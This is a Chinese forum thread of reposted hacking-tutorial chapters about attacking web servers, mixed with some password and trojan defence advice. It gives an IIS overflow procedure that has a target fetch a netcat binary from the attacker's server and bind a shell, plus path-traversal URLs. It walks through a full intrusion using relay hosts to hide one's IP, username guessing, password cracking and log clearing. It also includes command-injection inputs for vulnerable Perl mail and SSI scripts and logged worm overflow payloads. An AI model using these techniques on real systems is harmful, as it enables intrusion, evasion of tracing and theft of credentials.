这个漏洞实际上类似于早期的ASP dot漏洞,其能在IIS4.0上显示WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端,检测漏洞方法是:http://www.sample.com/anything.idc 或者 http://www.sample.com/anything.idq 4、IIS HACK 有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器。先在自己的WEB服务器上运行WEB服务程序并把ncx.exe放到相应的目录下,然后使用iishack.exe来检查目标机器:c:\>iishack.exe <目标机> 80 <自己的WEB服务器>/ncx.exe 然后使用netcat来连接要检测的服务器:c:\>nc <目标机> 80,如果溢出点正确,就可以看到目标机器的命令行提示,并且是远程管理权限。 5、Codebrws.asp和Showcode.asp: 这是两个IIS4.0附带的阅读文件程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点: (1)Codebrws.asp 和 Showcode.asp默认情况下不安装; (2)漏洞仅允许查看文件内容; (3)这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制; (4)只允许同一分区下的文件可以被查看; (5)攻击者需要知道请求的文件名。 例如你发现存在这个文件并符合上面的要求,则可以请求如下的命令察看asp源代码: http://www.sample.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp http://www.sample.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini 三、如何防范IIS漏洞: 由于微软的IIS是一套商业软件,他们并没有公开这套软件的源代码,所以软件的补丁程序只能等待微软公司在它的产品升级主页下载,这比起Apache等开放源代码的应用程序,可能在安全性上体现的更差,这也正是为什么黑客都说“微软的东西玩儿起来没有意思”,因为这个被封闭的很严的软件产品,既没有源代码可供黑客分析,一旦出现了问题也只能做一些基本的操作进行黑客(也就是上面的内容),这对初学黑客的人来说自然是一件好事情,但对高级黑客是不屑一顾的。 微软公司的主页是http://www.microsoft.com/,但是没有很多人愿意从国外下载软件补丁回来,国内也有很多不错的网络安全主页,例如http://www.xfocus.org和http://www.nsfocus.com/main.php等都是非常不错的,读者可以到这些站点阅读最新的安全公告或下载升级补丁。 另外对于codebrws.asp等程序造成的安全问题,这不是产品本身存在漏洞,而属于管理员在安装软件是的疏忽造成的,因此管理员安装完系统之后,一定要使用漏洞扫描软件对自己的系统进行检测,确认没有提供任何存在问题的程序给使用者,对于codebrws.asp等软件如果必须安装,也可以更换文件名或改变它的目录位置,这样黑客就无法从漏洞扫描的途径发现这些文件的存在了。 四、另一次入侵过程: 假设这次攻击的目标是www.soft.com,首先使用ping命令察看一下对方系统的应答时间ping www.soft.com: Pinging www.soft.com [127.168.0.1] with 32 bytes of data: Reply from 127.168.0.1: bytes=32 time=425ms TTL=240 Reply from 127.168.0.1: bytes=32 time=420ms TTL=240 Reply from 127.168.0.1: bytes=32 time=419ms TTL=240 Reply from 127.168.0.1: bytes=32 time=421ms TTL=240 看上去,time还是比较快的,而且通过TTL猜测到对方使用的是Linux之类的系统,比较有挑战性。使用nc命令(NT中提供)登陆到其他主机上,这在黑客里的行话叫“跳板”,我到更觉得像是“借刀杀人”,因为登陆到其他服务器上进行攻击,那么收到攻击的服务器将会纪录下那个黑客登陆的服务器,而不会纪录黑客真正的IP地址,这样一旦追踪起来,黑客的真实位置不容易被发现。 之后使用端口扫描程序对目标127.168.0.1进行扫描,看看它开放了什么端口:结果是开放了十多个端口,提供的服务越多、服务器存在漏洞的可能性就越大!之后分别用不同的检测方法检测每一个服务可能存在的漏洞,因为我们主要介绍80端口的攻击,所以其他攻击过程在这里设略,直接进行80端口的检测: # (echo "head /http/1.0";echo;echo)|./nc -w 3 127.168.0.1 80 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> head to /http/1.0 not supported.<P> Invalid method in request head /http/1.0<P> <HR> <ADDRESS>Apache/1.3.9 Server at 127-168-0-1 Port 80</ADDRESS> </BODY></HTML> 看到<ADDRESS>内的系统版本了吗?这说明服务器的确使用的Linux等系统,而且服务器使用的是Apache版本,因为这是一套开放了源代码的软件,所以它被世界上所有顶尖黑客所关注,其中的漏洞很快会被发现,而相应的对策也能够及时出台,所以它从诞生到现在,更新速度是惊人的,其安全程度也是非常惊人的,存在漏洞的希望并不大,作为初学者一般应该放弃,但是我还是介绍一下剩下来的工作,让读者从感性上接触一下黑客攻击的全部过程。 使用finger调出服务器上的用户列表,如果成功的话则可以使用+ username命令为自己增加一个用户登陆权限。使用下面的脚本将可能的用户列表逐个寻找出来: # chmod 700 rsh.sh # nohup ./rsh.sh www.targe.com 这会自动的在/etc/passwd和/etc/shadow里加上finger出来的用户名,再对远程目标127.168.0.1执行rsh命令,成功则返回该用户名,这个操作需要很长的时间,也许是几个小时后也不能获得什么有用的信息,因此这里需要一点点运气。等待一段时间后,读取报告结果: # cat ./.rsh.txt guest 报告结果文件“.rsh.txt”中获得了一个guest用户名(初学者很难有如此好的运气),通过rlogin登陆这个用户名看看有什么权限: # rlogin -l guest 127.168.0.1 Last login: Fri Jan 12 03:01:10 from 61.135.50.24 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 2001 You have mail. 到这里,我就已经登陆进入这台服务器了,现在我的权限可能还很小,不过已经能够称的上“入侵”了,后面的内容对初学者来说就真是没有介绍的必要了,因为后面牵扯的大多数命令都是初学者闻所未闻的,因此只做一个大概介绍。如果这个guest具有对/etc/passwd的访问权限,可以将passwd文件读取出来,这是Linux系统下纪录用户名和密码的文件,它的基本格式如下: root:*:0:0:Charlie &:/root:/usr/local/bin/bash guest:*:1005:2000::/home/www:/usr/local/bin/tcsh max:*:1006:1006::/home/max:/usr/local/bin/tcsh someone:*:1003:1003::/home/someone:/usr/local/bin/tcsh 看到这个文件的话,就可以想办法获得shadow文件并利用JOHN等软件破解其中的DES加密密码,那是一个非常有意思的工作,主要是看自己的电脑速度和字典档案的优劣,很多黑客都是非常喜欢在自己的电脑上破解DES密码档案的,可以再一次使用破解出来的用户名登陆服务器,看看它的权限,直到找到最高的权限(完全控制服务器)。 最后在离开服务器的时候,要清除日志文件,当然因为我们这次进攻是通过跳板的,所以不清楚日志管理员也很难找到我,再说我也没有进行让破坏,所以管理员并不会注意到这次进攻,在他看来只不过使用户guest登陆到服务器上随便看看又下去了。 五、保护密码: 对于我们这些拨号上网的用户来说,最怕的就是有居心叵测的黑客对我们进行攻击了,如何能避免个人的利益遭到损坏呢?这里总结了一些我对密码保护的看法和防范密码泄漏的对策,希望对广大读者有一定的作用。 1、经常修改密码 密码是我们最重要的个人隐私,如果黑客知道了我们的上网密码或者Email密码,那我们将无任何隐私可言,所以一定要选择一个比较好的密码,同时还要经常更换。一般来说,大多数人喜欢选择一些比较容易记忆的英文单词,这是非常不安全的,黑客不用什么高深的手法,只要用软件进行猜测,用不了半个小时,五位的英文单词就会被他们猜出来,所以一定要选择一个毫无意义的字符排列作为密码。这里有几条规则: (1)好的密码应该很长,至少七位或者八位; (2)有必要经常更换密码,每月改变一次自己的密码将是非常明智的选择; (3)密码不要单独依靠字符、数字,应该尽量混合所有的符号; (4)英文字母不要使用单词,应该使用没有任何规律的随机排列; (5)不要使用例如生日、电话号码等数字作为密码; (6)英文字母应该大小写都出现; (7)给出一个比较好的密码形式:x3Fj%tyU 2、使用“拨号后出现终端窗口”功能 这种方法的好处是不会将密码文件保存到电脑中,如果让电脑自动完成拨号功能,那么系统将会把您的密码保存到一个扩展名为pwl 的文件中,这样一来,有经验的人很快就可以通过特殊方法获得您的pwl 文件并找到其中的密码。具体使用“拨号后出现终端窗口”的方法如下: 选中某一连接图标,单击鼠标右键,选“属性- 常规- 配置- 选项- 拨号后出现终端窗口”,然后拨号时,在拨号界面上不要填入用户名和密码(更不要选中“保存密码”项),在出现拨号终端窗口后再进行相应的输入,这可以避免用户名和密码被记录到硬盘上的密码文件中,同时,也可以避免被某些黑客程序捕获用户名和密码。 3、对付特洛伊木马 特洛伊木马程序常被定义为当执行一个任务时却实际上执行着另一个任务的程序,典型的一个例子是:伪造一个登录界面,当用户在这个界面上输入用户名和密码时,程序将它们转移到一个隐蔽的文件中,然后提示错误要求用户再输入一遍,程序这时再调用真正的登录界面让用户登录,于是在用户几乎毫无察觉的情况下就得到了记录有用户名和密码的文件。现在互联网上有许多所谓的特洛伊木马程序,像著名的BO、Backdoor、Netbus及国内的Netspy等等。严格地说,它们属于客户机/服务器(C /S )程序,因为它们往往带有一个用于驻留在用户机器上的服务器程序,以及一个用于访问用户机器的客户端程序,就好像NT的Server和Workstation 的关系一样。 在对付特洛伊木马程序方面,有以下几种办法: (1)多读readme.txt 许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品。软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了。有必要养成在使用任何程序前先读readme.txt的好习惯。 值得一提的是,有许多程序说明做成可执行的readme.exe形式,readme.exe往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶。所以从互联网上得来的readme.exe最好不要执行它。 (2)使用杀毒软件 现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300 、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除。 另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失。 (3)立即挂断 尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比。这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果发送字节变化在1 ~3kbps (每秒1 ~3 千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能。对TCP/IP端口熟悉的用户,可以在“MS-DOS 方式”下键入“netstat -a”来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口。当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进行认真的检查。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

9#
0758河台小赵 发表于 2004-9-14 10:31:00
了解httpd132f的工作原理 当我们在浏览器的URL内输入了http://127.0.0.1/后,系统会发送一个Socket请求到IP地址为127.0.0.1的系统上,并且占用的80端口,在TCP/IP协议中规定,127.0.0.1地址是“本地系统”,也就是说我们通过浏览器访问自己的系统,如果系统中没有安装httpd132f之类的网站服务程序,那么将没有80端口打开,所以在没有运行httpd132f的时候,浏览127.0.0.1将会出现“无法找到服务器”的错误提示。 一旦运行了httpd132f,浏览器内的URL地址将会以“GET 127.0.0.1 HTTP/1.1”的的形式发送到本地80端口,然后由httpd132f程序进行处理,并返回处理结果(数据)。这些工作平时在网络上使用者是看不到的,因为网络服务器不可能将自己内部的数据暴露出来,那样做将是危险的,而我们在自己的系统上安装httpd132f则可以通过httpd132f\httpd.log文件将所有过程看得一清二楚。 现在我们在httpd132f\httpd-docs\目录下放置一个index.htm文件,然后通过http://127.0.0.1/index.htm浏览,浏览器上会看到这个index.htm文件,然后打开httpd.log看看里面有什么: 127.0.0.1 - - [03/Sep/2001:11:26:35 +0900] "GET /index.htm HTTP/1.1" 200 7616 httpd.log中记录了来访者的IP地址、访问时间、动作(GET)、请求文件、文件操作结果(200)、结果返回长度(7616)。 这些记录在每一个网站服务器上都有,有些甚至更加详尽,这也正是为什么黑客所做的事情能够被人追查、黑客每次攻击结束要清理日志的原因。如果服务器上没有/index.htm这个文件,那么返回的结果将是: 127.0.0.1 - - [02/Sep/2001:22:15:12 +0900] "GET /nofile.htm HTTP/1.1" 404 218 其中的“404”说明文件/nofile.htm没有找到,所以黑客可以通过编写程序判断服务器上是存在某个文件(200)还是不存在某个程序(404)、或者程序没有执行权限(500)等各种扫描程序,这种编程方法和程序代码将会在后面给出来。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

10#
0758河台小赵 发表于 2004-9-14 10:33:00
看看黑客在做什么 好了,现在我们可以上网,让自己的系统真正成为网络上的一台服务器,之后等待…… 这样我们就设置了一台httpd132f服务器,实际上这是一个专门等待黑客来进攻的服务器,因为黑客对这台系统的所有操作都记录在httpd.log文件中,所以学习者可以非常快的了解到黑客究竟在利用什么方法进攻服务器,这种学习方法见效非常快,这在我当初学习黑客的时候,给予了我大量宝贵的黑客进攻资料。 不用等待多长时间,黑客就来了,他在试图寻找我们这台服务器上的漏洞,看下面的日志文件: 61.172.14.9 - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 404 218 61.172.14.9 - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218 61.172.14.9 - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242 61.172.14.9 - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242 61.172.14.9 - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032 61.172.14.9 - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218 61.172.14.9 - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218 61.172.14.9 - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302 61.172.14.9 - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177 61.172.14.9 - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=max HTTP/1.1" 200 782 61.172.14.9 - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=list&userpsd=test&username=max HTTP/1.1" 200 4526 61.172.14.9 - [02/Sep/2001:17:04:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=show&slttitle=2001-09-02.18:04:29&username=macker&userpsd=test HTTP/1.1" 200 5785 61.172.14.9 - [02/Sep/2001:17:04:58 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177 61.72.8.41 - [02/Sep/2001:20:38:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.79.163.130 - [02/Sep/2001:20:40:27 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.178.15.126 - [02/Sep/2001:20:40:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.135.5.75 - [02/Sep/2001:20:43:31 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.135.115.139 - [02/Sep/2001:20:49:09 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.135.115.139 - [02/Sep/2001:20:49:44 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.135.225.12 - [02/Sep/2001:20:53:15 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.188.194.141 - [02/Sep/2001:21:01:50 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.130.51.89 - [02/Sep/2001:21:11:29 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.73.97.116 - [02/Sep/2001:21:24:59 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 61.74.149.131 - [02/Sep/2001:21:44:17 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218 现在让我们来分析一下吧: 61.172.14.9 - - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 200 7612 黑客发现了我们这台服务器,并且通过浏览器观看网站上的/index.htm文件 61.172.14.9 - - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218 黑客开始试图寻找服务器上的论坛、免费代码,因为这些程序中会存在漏洞 61.172.14.9 - - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242 继续寻找,上面的/cgi-bin/bbs/wwwboard.pl和这里的/cgi-bin/bbs.pl是大多数网站服务器默认的论坛程序 61.172.14.9 - - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242 寻找系统中默认的留言板程序,返回404,仍然没有找到可利用的程序 61.172.14.9 - - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032v 发现了一个/cgi-bin/bbs.cgi的电子留言版 61.172.14.9 - - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218 黑客简单的应用这个程序,它在观看这个留言板并且在尝试着发贴,没有成功 61.172.14.9 - - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=''''''&userpsd=&username= HTTP/1.1" 404 218 开始用特殊代码替换标准代码,试图找到bbs.cgi程序中的“考虑不周详漏洞”,没有成功 61.172.14.9 - - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302 常规发表了一篇文件 61.172.14.9 - - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177 发送发表的文章,发送成功 61.172.14.9 - - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=macker HTTP/1.1" 200 782 黑客继续观看bbs.cgi,但是仍然局限在常规操作上 61.172.14.9 - - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=listtitle&userpsd=test&username=macker HTTP/1.1" 200 4526 继续常规的浏览bbs.cgi,这个时候黑客可能在网络上寻找这个bbs.cgi的源代码,因为有了源代码寻找漏洞将会更加方便 最后黑客放弃了,因为它没有找到bbs.cgi上的漏洞,当然不会有漏洞,因为bbs.cgi是本人用了两年的时间完善出来的一个论坛,不过如果学习者真想知道网络上的Perl中的漏洞,倒是可以用这种方法来“引诱”黑客进攻,这样你就可以很快了解黑客是利用的什么漏洞了。 这次来攻击的黑客似乎是个菜鸟,因为它没有使用漏洞扫描器,只不过简单的着了两个比较著名的论坛漏洞,因为我没有在自己的系统上安装那两个论坛,所以这个黑客无能为力了。 不过后来又闯进来一个黑客,从httpd.log分析这应该是一种蠕虫,每次变换的IP地址和非常特殊的GET请求都看得出来这个程序正在进行分散式溢出攻击,不过这种攻击主要针对IIS等流行的网站服务器程序,对于我使用的httpd132f却没有用处,因为httpd132f中不存在Null.htw、idc、ida等漏洞,这些漏洞在第三章已经介绍过,它们都是IIS中的典型漏洞,黑客也正是想攻过这些漏洞进行攻击,不过没有成功罢了。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

11#
0758河台小赵 发表于 2004-9-14 10:38:00
自己测试一下 到网络上下载一个searcher.cgi的搜索引擎源代码,然后放入httpd132f\cgi-bin\searcher\目录下,之后通过浏览器访问http://127.0.0.1/cgi-bin/searcher/searcher.cgi就可以调用这个搜索引擎了,之后我们可以常规的在这个引擎中加入一些网站地址,然后一边浏览引擎页面一边观察httpd.log,很快读者就能够体会到网页浏览、CGI程序调用都是什么样的原理,这比我“纸上谈兵”要感性得多。然后我们来做一些特殊的操作吧。 通过浏览器进入“登陆网站”页面,然后再网站描述中输入文字“TEST”;之后再做同样的操作,并且在网站描述中输入“<font color=red>TEST</font>”,分别比较两次登陆的信息,会发现第二次的登陆信息是红色的,这是因为使用了HTML的元素<font>,同样利用这些HTML元素可以在输入信息内添加图片、大字体等内容,这样就严重的扰乱的这个搜索引擎的正常功能。 如何避免这种问题?这在第三章我也略微介绍过,在searcher.cgi中加入下面的判断语句: if(($file_name=~/[^a-zA-Z_\.]/)||($file_name=~/^\./)) 这样当以后操作者试图在$file_name变量中输入“<”、“'”等特殊符号的时候,会被程序判断并阻止信息的发送,这样就可以很好的解决Perl中可能出现的问题了。 但是作为Perl程序开发人员,简单的一两句话是很难全面的介绍各种可能出现的问题的,这就需要程序开发人员在程序运行的过程中严密监视系统日志,一旦发现了特殊的没有考虑到的黑客动作时,便要在最短的时间内将出现的问题进行修复。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

12#
0758河台小赵 发表于 2004-9-14 10:39:00
一些脚本漏洞的应用 一、邮件脚本特殊字符应用: 我们来讨论下面这个例子:有一个著名的"邮件脚本,它的主要任务是把访问者填写的表单发送到webmaster的邮箱。下面看一下有关的代码: -- vuln1.html - The submission form -- Thankyou for visiting my site. Please submit your comments and suggestions here: -- EOF -- -- vuln1.pl - The vulnerable perl script -- #!/usr/bin/perl # Output will be an html page print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the destination email address and comments in variables if ($name eq "address") {# Store the destination emailaddress $address = $value; }elsif ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $address holds the address specified on the form, and # $comments holds the user's comments. # --- "Active" part # See discussion for details of this part open(MAIL,"| /bin/mail $address"); print MAIL "$comments"; close(MAIL); # --- End of "active" part # Print output for the user print Thanks for your commentsEOT-- EOF -- 以上这个例子包括两段程序。Html段负责提交用户的输入,并且也是易受攻击的。如果你不了解Perl那么你也没必要知道他的原理。你只要知道目的Email地址(就是在html页面被指明为hidden的元素)和你输入的内容(根据textarea的输入)被保存,然后在“active”部分向“邮件”程序提交就可以了。 在Perl程序中,open函数的用处打开文件,但是这里更重要的是管道符。在这句话中,指向命令“/bin/mail webmaster@vulnerable.com”的管道被打开,你在Html页面填写的内容被发送到了指定的webmaster的邮箱中去了。 看看发生了什么? “/bin/mail webmaster@vulnerable.com”命令是由你在html页面提交表单时激活的。如果一个恶意的用户在本地保存并改装了表单会发生什么事情呢?如果html页面没有驻留在服务器,你必须在“action”中填写完整的URL。现在提交的Email地址被改成了你自己的Email地址,你的提交内容也就发送到了自己的Email里去了。 如果你如下改装表单,试想会发生什么? “value="hacker@root.com;mail hacker@root.com” 在script程序中,这样的Email地址将被解析为:“/bin/mail hacker@root.com;mail hacker@root.com”(注意:这里我虽然用/etc/passwd,但是这仅仅是个说明原理的举例。现在大多数系统的passwd文件对于入侵者来说都不会包含有效的密码信息) 如果你发现script程序过滤“;”,你可以试“|”符号,或者用“\n”来换行,这样做的目的是重新运行命令按你的意图执行。记住:使用“|”将使第一条命令的输出回传给第二命令,并且在web上发送换行符你需要用到的是“%0a”。于是地址部分现在变成了“value="hacker@root.com%0amail hacker@root.com” 二、SSI的危险应用: SSI的意思是“Server Side Includes”。SSI是一些能放在html中的、被服务器解析的指令。这些页面通常都支持扩展的.shtml(或者更底的版本),不过这还是要看服务器的设置。有些服务器对所有的html都解析。如果你可以让服务器解析你自己写的SSI,那么你就能够执行命令和其他的一些动作了,事实上很多CGI程序都没有考虑这些东西,比如下面的例子: -- vuln2.shtml - A public comments page -- Thankyou for visiting my site. Please submit your comments and suggestions here: Here's what other people have had to say: -- EOF -- -- vuln2.pl - The vulnerable perl script -- #!/usr/bin/perl # Define the location of the page to be updated # Change this to the location of vuln2.shtml if you're trying this out $pagename = "/home/web/html/vuln2.shtml"; # Print content-type header print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the comments in a variable if ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $comments holds the user's comments. # Separate each comment in the output file $comments .= "\n \n"; # --- "Active" part # Open the file for read/write open(FILE,"+; # Search through the array and insert the comments just before the # line $linenum = 1; foreach $line (@list) { if ($line =~ /^/) { $linenum--; splice(@list, $linenum, 0, $comments); last; } $linenum++; } # Write the array back to the file seek(FILE,0,0); truncate(FILE,0); foreach $line (@list) { print FILE $line; } # Close the file close(FILE); # --- End "active" part # Print output for the user print Thanks for your comments. Click here to return to the comments pageEOT -- EOF -- 这里的两段代码其实是一个简单的留言板,你可以发现.shtml文件用SSI来显示页眉和页脚,当我们浏览网页的时候,SSI所指向的代码将会被执行。注意在.shtml文件中用标记的地方,其后的内容都将被认为是SSI指令而执行,然后等你回到页面上,你就可以看到你所需要的密码文件了。(注意:密码文件可能是很长的一行文字——这是因为html没有在该换行的时候插入换行符。你可以从浏览器的“查看源文件”来查看)。 